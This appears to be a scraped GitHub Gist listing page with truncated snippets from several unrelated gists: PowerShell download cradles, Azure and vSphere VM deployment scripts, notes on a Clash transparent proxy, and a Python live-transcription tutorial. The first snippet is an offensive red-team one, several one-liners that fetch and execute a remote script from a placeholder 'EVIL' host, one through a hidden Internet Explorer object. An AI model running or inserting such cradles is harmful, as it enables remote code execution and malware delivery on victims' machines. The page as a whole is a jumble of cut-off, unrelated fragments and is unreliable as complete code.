Skip to content

Instantly share code, notes, and snippets.

@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active November 4, 2024 20:31
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
# Set variable values
$resourceGroupName = "SnapshotDemo"
$location = "West US"
$vmName = "SnapshotDemo"
$vmSize = "Standard_A1"
$vnetName = "SnapshotDemo"
$nicName = "snapshotdemo98"
$dnsName = "snapshotdemo"
$diskName = "SnapshotDemo"
$storageAccount = "snapshotdemo5062"
@darrenjrobinson
darrenjrobinson / DeployMIMLab.ps1
Last active March 11, 2020 04:40
DeployAzureRMMIMLab
#****Don't forget to go and get the Invoke-Parallel.ps1 script referenced in the associated blog post.*****
#Global Variables
# Where do we want to put the VM's
$global:locName = 'Australia East'
# Resource Group name
$global:rgName = 'MIM2016-Dev10'
# Virtual Network Name
$global:virtNetwork = 'MIM-Net10'
@asvignesh
asvignesh / deployvm.sh
Created January 2, 2019 17:23
Deploy multiple virtual machines from template using powercli
# Specify vCenter Server, vCenter Server username and vCenter Server user password
$vCenter="lab.asvignesh.in"
$vCenterUser="administrator@vsphere.local"
$vCenterPassword="secretPassword"
#
# Specify number of VMs
$vm_count = "100"
#
# Specify the template
$tempate = "W2k12"
@phlinhng
phlinhng / a-clash-tproxy-gateway.md
Last active September 22, 2024 14:22
Clash as transparent proxy gateway via TPROXY

Notes

  1. If your local network use public IP ranges instead of private ones, make sure to add respecive RETURN rules to iptables to prevent looping issue
  2. Set clash as DHCP's only DNS server to allow domain-based filter (shunting) rules work
  3. Use lsof -i udp:53 to check if clash's DNS module work fine, otherwise you may have to kill systemd-resolved and any other processes occupying the UDP 53 port
  4. The given scripts will NOT hangle the traffic of gateway itself since it is not recommend to do so. If you want to redirect the egress traffic of the gateway, the following material may be useful

Reference

@juanmc2005
juanmc2005 / diart_whisper.py
Last active October 29, 2024 23:55
Code for my tutorial "Color Your Captions: Streamlining Live Transcriptions with Diart and OpenAI's Whisper". Available at https://medium.com/@juanmc2005/color-your-captions-streamlining-live-transcriptions-with-diart-and-openais-whisper-6203350234ef
import logging
import os
import sys
import traceback
from contextlib import contextmanager
import diart.operators as dops
import numpy as np
import rich
import rx.operators as ops